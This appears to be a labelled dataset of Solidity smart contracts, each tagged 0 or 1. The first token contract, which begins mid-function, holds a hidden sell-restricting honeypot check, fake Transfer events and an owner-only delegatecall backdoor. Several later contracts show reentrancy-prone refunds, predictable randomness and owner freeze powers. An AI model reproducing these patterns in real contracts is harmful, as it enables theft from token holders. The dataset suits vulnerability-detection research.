if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,968 |
pragma solidity ^0.4.19;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale (
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline public{
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline public {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 5,199 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeMathFixedPoint {
using SafeMath for uint256;
function mul27(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).add(5 * 10**26).div(10**27);
}
function mul18(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).add(5 * 10**17).div(10**18);
}
function div18(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(10**18).add(y.div(2)).div(y);
}
function div27(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(10**27).add(y.div(2)).div(y);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Dai is ERC20 {
}
contract Weth is ERC20 {
function deposit() public payable;
function withdraw(uint wad) public;
}
contract Mkr is ERC20 {
}
contract Peth is ERC20 {
}
contract Oasis {
function getBuyAmount(ERC20 tokenToBuy, ERC20 tokenToPay, uint256 amountToPay) external view returns(uint256 amountBought);
function getPayAmount(ERC20 tokenToPay, ERC20 tokenToBuy, uint amountToBuy) public constant returns (uint amountPaid);
function getBestOffer(ERC20 sell_gem, ERC20 buy_gem) public constant returns(uint offerId);
function getWorseOffer(uint id) public constant returns(uint offerId);
function getOffer(uint id) public constant returns (uint pay_amt, ERC20 pay_gem, uint buy_amt, ERC20 buy_gem);
function sellAllAmount(ERC20 pay_gem, uint pay_amt, ERC20 buy_gem, uint min_fill_amount) public returns (uint fill_amt);
}
contract Medianizer {
function read() external view returns(bytes32);
}
contract Maker {
function sai() external view returns(Dai);
function gem() external view returns(Weth);
function gov() external view returns(Mkr);
function skr() external view returns(Peth);
function pip() external view returns(Medianizer);
uint256 public gap;
struct Cup {
address lad;
uint256 ink;
uint256 art;
uint256 ire;
}
uint256 public cupi;
mapping (bytes32 => Cup) public cups;
function lad(bytes32 cup) public view returns (address);
function per() public view returns (uint ray);
function tab(bytes32 cup) public returns (uint);
function ink(bytes32 cup) public returns (uint);
function rap(bytes32 cup) public returns (uint);
function chi() public returns (uint);
function open() public returns (bytes32 cup);
function give(bytes32 cup, address guy) public;
function lock(bytes32 cup, uint wad) public;
function draw(bytes32 cup, uint wad) public;
function join(uint wad) public;
function wipe(bytes32 cup, uint wad) public;
}
contract DSProxy {
address public owner;
function execute(address _target, bytes _data) public payable returns (bytes32 response);
}
contract ProxyRegistry {
mapping(address => DSProxy) public proxies;
function build(address owner) public returns (DSProxy proxy);
}
contract LiquidLong is Ownable, Claimable, Pausable, PullPayment {
using SafeMath for uint256;
using SafeMathFixedPoint for uint256;
uint256 public providerFeePerEth;
Oasis public oasis;
Maker public maker;
Dai public dai;
Weth public weth;
Peth public peth;
Mkr public mkr;
ProxyRegistry public proxyRegistry;
event NewCup(address user, bytes32 cup);
constructor(Oasis _oasis, Maker _maker, ProxyRegistry _proxyRegistry) public payable {
providerFeePerEth = 0.01 ether;
oasis = _oasis;
maker = _maker;
dai = maker.sai();
weth = maker.gem();
peth = maker.skr();
mkr = maker.gov();
dai.approve(address(_oasis), uint256(-1));
dai.approve(address(_maker), uint256(-1));
mkr.approve(address(_maker), uint256(-1));
weth.approve(address(_maker), uint256(-1));
peth.approve(address(_maker), uint256(-1));
proxyRegistry = _proxyRegistry;
if (msg.value > 0) {
weth.deposit.value(msg.value)();
}
}
function () external payable {
}
function wethDeposit() public payable {
weth.deposit.value(msg.value)();
}
function wethWithdraw(uint256 _amount) public onlyOwner {
weth.withdraw(_amount);
owner.transfer(_amount);
}
function ethWithdraw() public onlyOwner {
uint256 _amount = address(this).balance.sub(totalPayments);
owner.transfer(_amount);
}
function transferTokens(ERC20 _token) public onlyOwner {
_token.transfer(owner, _token.balanceOf(this));
}
function ethPriceInUsd() public view returns (uint256 _attousd) {
return uint256(maker.pip().read());
}
function estimateDaiSaleProceeds(uint256 _attodaiToSell) public view returns (uint256 _daiPaid, uint256 _wethBought) {
return getPayPriceAndAmount(dai, weth, _attodaiToSell);
}
function getPayPriceAndAmount(ERC20 _payGem, ERC20 _buyGem, uint256 _payDesiredAmount) public view returns (uint256 _paidAmount, uint256 _boughtAmount) {
uint256 _offerId = oasis.getBestOffer(_buyGem, _payGem);
while (_offerId != 0) {
uint256 _payRemaining = _payDesiredAmount.sub(_paidAmount);
(uint256 _buyAvailableInOffer, , uint256 _payAvailableInOffer,) = oasis.getOffer(_offerId);
if (_payRemaining <= _payAvailableInOffer) {
uint256 _buyRemaining = _payRemaining.mul(_buyAvailableInOffer).div(_payAvailableInOffer);
_paidAmount = _paidAmount.add(_payRemaining);
_boughtAmount = _boughtAmount.add(_buyRemaining);
break;
}
_paidAmount = _paidAmount.add(_payAvailableInOffer);
_boughtAmount = _boughtAmount.add(_buyAvailableInOffer);
_offerId = oasis.getWorseOffer(_offerId);
}
return (_paidAmount, _boughtAmount);
}
modifier wethBalanceUnchanged() {
uint256 _startingAttowethBalance = weth.balanceOf(this);
_;
require(weth.balanceOf(this) >= _startingAttowethBalance);
}
function openCdp(uint256 _leverage, uint256 _leverageSizeInAttoeth, uint256 _allowedFeeInAttoeth, address _affiliateAddress) public payable wethBalanceUnchanged returns (bytes32 _cdpId) {
require(_leverage >= 100 && _leverage <= 300);
uint256 _lockedInCdpInAttoeth = _leverageSizeInAttoeth.mul(_leverage).div(100);
uint256 _loanInAttoeth = _lockedInCdpInAttoeth.sub(_leverageSizeInAttoeth);
uint256 _feeInAttoeth = _loanInAttoeth.mul18(providerFeePerEth);
require(_feeInAttoeth <= _allowedFeeInAttoeth);
uint256 _drawInAttodai = _loanInAttoeth.mul18(uint256(maker.pip().read()));
uint256 _attopethLockedInCdp = _lockedInCdpInAttoeth.div27(maker.per());
weth.deposit.value(_leverageSizeInAttoeth)();
_cdpId = maker.open();
maker.join(_attopethLockedInCdp);
maker.lock(_cdpId, _attopethLockedInCdp);
maker.draw(_cdpId, _drawInAttodai);
sellDai(_drawInAttodai, _lockedInCdpInAttoeth, _feeInAttoeth, _loanInAttoeth);
if (_feeInAttoeth != 0) {
if (_affiliateAddress == 0x0) {
asyncSend(owner, _feeInAttoeth);
} else {
asyncSend(owner, _feeInAttoeth.div(2));
asyncSend(_affiliateAddress, _feeInAttoeth.div(2));
}
}
emit NewCup(msg.sender, _cdpId);
giveCdpToProxy(msg.sender, _cdpId);
}
function giveCdpToProxy(address _ownerOfProxy, bytes32 _cdpId) private {
DSProxy _proxy = proxyRegistry.proxies(_ownerOfProxy);
if (_proxy == DSProxy(0) || _proxy.owner() != _ownerOfProxy) {
_proxy = proxyRegistry.build(_ownerOfProxy);
}
maker.give(_cdpId, proxyRegistry);
}
function sellDai(uint256 _drawInAttodai, uint256 _lockedInCdpInAttoeth, uint256 _feeInAttoeth, uint256 _loanInAttoeth) private {
uint256 _wethBoughtInAttoweth = oasis.sellAllAmount(dai, _drawInAttodai, weth, 0);
uint256 _refundDue = msg.value.add(_wethBoughtInAttoweth).sub(_lockedInCdpInAttoeth).sub(_feeInAttoeth);
if (_refundDue > 0) {
require(msg.sender.call.value(_refundDue)());
}
if (_loanInAttoeth > _wethBoughtInAttoweth) {
weth.deposit.value(_loanInAttoeth - _wethBoughtInAttoweth)();
}
}
} | 1 | 3,117 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract TokenBase is ERC20Interface {
using SafeMath for uint;
string public constant symbol = "DELTA";
string public constant name = "DELTA token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = (2**32-1)*10**18;
uint256 public constant ownerSupply = maxTokens*25/100;
uint256 _totalSupply = ownerSupply;
bool public migrationAllowed = false;
address public migrationAddress;
uint256 public totalMigrated = 0;
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => uint256) public orders_sell_amount;
mapping(address => uint256) public orders_sell_price;
address[] public orders_sell_list;
event Orders_sell(address indexed _from, address indexed _to, uint256 _amount, uint256 _price, uint256 _seller_money, uint256 _buyer_money);
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function migrate(uint256 _value) external {
require(migrationAllowed);
require(migrationAddress != 0x0);
require(_value > 0);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
totalMigrated = totalMigrated.add(_value);
MigrationAgent(migrationAddress).migrateFrom(msg.sender, _value);
}
function configureMigrate(bool _migrationAllowed, address _migrationAddress) onlyOwner {
migrationAllowed = _migrationAllowed;
migrationAddress = _migrationAddress;
}
}
contract DELTA_Token is TokenBase {
using SafeMath for uint;
uint256 public constant token_price = 10**18*1/100;
uint public pre_ico_start = 1522540800;
uint public ico_start = 1525132800;
uint public ico_finish = 1530403200;
uint public p1 = 250;
uint public p2 = 200;
uint public p3 = 150;
uint public p4 = 125;
uint public p5 = 100;
uint public coef = 105;
function DELTA_Token() {
owner = msg.sender;
balances[owner] = ownerSupply;
}
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function withdraw(uint256 _amount) onlyOwner returns (bool result) {
uint256 balance;
balance = this.balance;
if(_amount > 0) balance = _amount;
owner.send(balance);
return true;
}
function change_coef(uint256 _coef) onlyOwner returns (bool result) {
coef = _coef;
return true;
}
function change_p1(uint256 _p1) onlyOwner returns (bool result) {
p1 = _p1;
return true;
}
function change_p2(uint256 _p2) onlyOwner returns (bool result) {
p2 = _p2;
return true;
}
function change_p3(uint256 _p3) onlyOwner returns (bool result) {
p3 = _p3;
return true;
}
function change_p4(uint256 _p4) onlyOwner returns (bool result) {
p4 = _p4;
return true;
}
function change_p5(uint256 _p5) onlyOwner returns (bool result) {
p5 = _p5;
return true;
}
function change_pre_ico_start(uint256 _pre_ico_start) onlyOwner returns (bool result) {
pre_ico_start = _pre_ico_start;
return true;
}
function change_ico_start(uint256 _ico_start) onlyOwner returns (bool result) {
ico_start = _ico_start;
return true;
}
function change_ico_finish(uint256 _ico_finish) onlyOwner returns (bool result) {
ico_finish = _ico_finish;
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function tokens_buy() payable returns (bool) {
uint tnow = now;
require(tnow <= ico_finish);
require(_totalSupply < maxTokens);
require(msg.value >= token_price);
uint tokens_buy = msg.value*10**18/token_price;
require(tokens_buy > 0);
if(tnow < ico_start + 86400*0){
tokens_buy = tokens_buy*p1/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*2)){
tokens_buy = tokens_buy*p2/100;
}
if((ico_start + 86400*2 <= tnow)&&(tnow < ico_start + 86400*7)){
tokens_buy = tokens_buy*p3/100;
}
if((ico_start + 86400*7 <= tnow)&&(tnow < ico_start + 86400*14)){
tokens_buy = tokens_buy*p4/100;
}
if(ico_start + 86400*14 <= tnow){
tokens_buy = tokens_buy*p5/100;
}
require(_totalSupply.add(tokens_buy) <= maxTokens);
_totalSupply = _totalSupply.add(tokens_buy);
balances[msg.sender] = balances[msg.sender].add(tokens_buy);
return true;
}
function orders_sell_total () constant returns (uint) {
return orders_sell_list.length;
}
function get_orders_sell_amount(address _from) constant returns(uint) {
uint _amount_max = 0;
if(!(orders_sell_amount[_from] > 0)) return _amount_max;
if(balanceOf(_from) > 0) _amount_max = balanceOf(_from);
if(orders_sell_amount[_from] < _amount_max) _amount_max = orders_sell_amount[_from];
return _amount_max;
}
function order_sell(uint256 _max_amount, uint256 _price) returns (bool) {
require(_max_amount > 0);
require(_price > 0);
orders_sell_amount[msg.sender] = _max_amount;
orders_sell_price[msg.sender] = (_price*coef).div(100);
orders_sell_list.push(msg.sender);
return true;
}
function order_buy(address _from, uint256 _max_price) payable returns (bool) {
require(msg.value > 0);
require(_max_price > 0);
require(orders_sell_amount[_from] > 0);
require(orders_sell_price[_from] > 0);
require(orders_sell_price[_from] <= _max_price);
uint _amount = (msg.value*10**18).div(orders_sell_price[_from]);
uint _amount_from = get_orders_sell_amount(_from);
if(_amount > _amount_from) _amount = _amount_from;
require(_amount > 0);
uint _total_money = (orders_sell_price[_from]*_amount).div(10**18);
require(_total_money <= msg.value);
uint _seller_money = (_total_money*100).div(coef);
uint _buyer_money = msg.value - _total_money;
require(_seller_money > 0);
require(_seller_money + _buyer_money <= msg.value);
_from.send(_seller_money);
msg.sender.send(_buyer_money);
orders_sell_amount[_from] -= _amount;
balances[_from] -= _amount;
balances[msg.sender] += _amount;
Orders_sell(_from, msg.sender, _amount, orders_sell_price[_from], _seller_money, _buyer_money);
}
} | 0 | 2,393 |
pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract InvestXPDS is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0xf23fd8e6c2eda7e4d2a5638c8256bd516f7c6a73;
AltcoinToken thetoken = AltcoinToken(_tokenContract);
uint256 public tokensPerEth = 10000000e2;
uint256 public tokensPerAirdrop = 500e2;
uint256 public bonus = 0;
uint256 public airdropcounter = 0;
uint256 public constant minContribution = 1 ether / 10000;
uint256 public constant extraBonus = 1 ether;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Distr(address indexed to, uint256 amount);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensPerAirdropUpdated(uint _tokensPerEth);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function InvestXPDS () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner {
tokensPerAirdrop = _tokensPerAirdrop;
emit TokensPerAirdropUpdated(_tokensPerAirdrop);
}
function () external payable {
if ( msg.value >= minContribution) {
sendTokens();
}
else if ( msg.value < minContribution) {
airdropcounter = airdropcounter + 1;
sendAirdrop();
}
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
bonus = 0;
if ( msg.value >= extraBonus ) {
bonus = tokens / 4;
}
tokens = tokens + bonus;
sendtokens(thetoken, tokens, investor);
}
function sendAirdrop() private returns (bool) {
uint256 tokens = 0;
require( airdropcounter < 10000 );
tokens = tokensPerAirdrop;
address holder = msg.sender;
sendtokens(thetoken, tokens, holder);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function resetAirdrop() onlyOwner public {
airdropcounter=0;
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendtokens(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 0 | 523 |
pragma solidity ^ 0.4.23;
contract EtherealTarot {
struct reading {
uint8[] cards;
bool[] upright;
uint8 count;
}
mapping(address => reading) readings;
uint8[78] cards;
uint8 deckSize = 78;
address public creator;
constructor() public {
creator = msg.sender;
for (uint8 card = 0; card < deckSize; card++) {
cards[card] = card;
}
}
function draw(uint8 index, uint8 count) private {
uint8 drawnCard = cards[index];
uint8 tableIndex = deckSize - count - 1;
cards[index] = cards[tableIndex];
cards[tableIndex] = drawnCard;
}
function draw_random_card(uint8 count) private returns(uint8) {
uint8 random_card = random(deckSize - count, count);
draw(random_card, count);
return random_card;
}
function random(uint8 range, uint8 count) view private returns(uint8) {
uint8 _seed = uint8(
keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
blockhash(block.number),
_seed)
), now + count)
)
);
return _seed % (range);
}
function random_bool(uint8 count) view private returns(bool){
return 0==random(2,count);
}
function spread(uint8 requested) private {
uint8[] memory table = new uint8[](requested);
bool[] memory upright = new bool[](requested);
for (uint8 position = 0; position < requested; position++) {
table[position] = draw_random_card(position);
upright[position] = random_bool(position);
}
readings[msg.sender]=reading(table,upright,requested);
}
function has_reading() view public returns(bool) {
return readings[msg.sender].count!=0;
}
function reading_card_at(uint8 index) view public returns(uint8) {
return readings[msg.sender].cards[index];
}
function reading_card_upright_at(uint8 index) view public returns(bool) {
return readings[msg.sender].upright[index];
}
function withdraw() public {
require(msg.sender == creator);
creator.transfer(address(this).balance);
}
function career_path() payable public {
spread(7);
}
function celtic_cross() payable public {
spread(10);
}
function past_present_future() payable public {
spread(3);
}
function success() payable public {
spread(5);
}
function spiritual_guidance() payable public {
spread(8);
}
function single_card() payable public {
spread(1);
}
function situation_challenge() payable public {
spread(2);
}
function seventeen() payable public {
spread(17);
}
} | 1 | 3,900 |
pragma solidity ^0.4.14;
contract ERC20Token {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract PrimasToken is ERC20Token {
address public initialOwner;
uint256 public supply = 100000000 * 10 ** 18;
string public name = 'Primas';
uint8 public decimals = 18;
string public symbol = 'PST';
string public version = 'v0.1';
bool public transfersEnabled = true;
uint public creationBlock;
uint public creationTime;
mapping (address => uint256) balance;
mapping (address => mapping (address => uint256)) m_allowance;
mapping (address => uint) jail;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function PrimasToken() {
initialOwner = msg.sender;
balance[msg.sender] = supply;
creationBlock = block.number;
creationTime = block.timestamp;
}
function balanceOf(address _account) constant returns (uint) {
return balance[_account];
}
function totalSupply() constant returns (uint) {
return supply;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (!transfersEnabled) revert();
if ( jail[msg.sender] >= block.timestamp ) revert();
return doTransfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
if (!transfersEnabled) revert();
if ( jail[msg.sender] >= block.timestamp || jail[_to] >= block.timestamp || jail[_from] >= block.timestamp ) revert();
if (allowance(_from, msg.sender) < _value) return false;
m_allowance[_from][msg.sender] -= _value;
if ( !(doTransfer(_from, _to, _value)) ) {
m_allowance[_from][msg.sender] += _value;
return false;
} else {
return true;
}
}
function doTransfer(address _from, address _to, uint _value) internal returns (bool success) {
if (balance[_from] >= _value && balance[_to] + _value >= balance[_to]) {
balance[_from] -= _value;
balance[_to] += _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (!transfersEnabled) revert();
if ( jail[msg.sender] >= block.timestamp || jail[_spender] >= block.timestamp ) revert();
if ( (_value != 0) && (allowance(msg.sender, _spender) != 0) ) revert();
m_allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
if (!transfersEnabled) revert();
return m_allowance[_owner][_spender];
}
function enableTransfers(bool _transfersEnabled) returns (bool) {
if (msg.sender != initialOwner) revert();
transfersEnabled = _transfersEnabled;
return transfersEnabled;
}
function catchYou(address _target, uint _timestamp) returns (uint) {
if (msg.sender != initialOwner) revert();
if (!transfersEnabled) revert();
jail[_target] = _timestamp;
return jail[_target];
}
} | 1 | 5,188 |
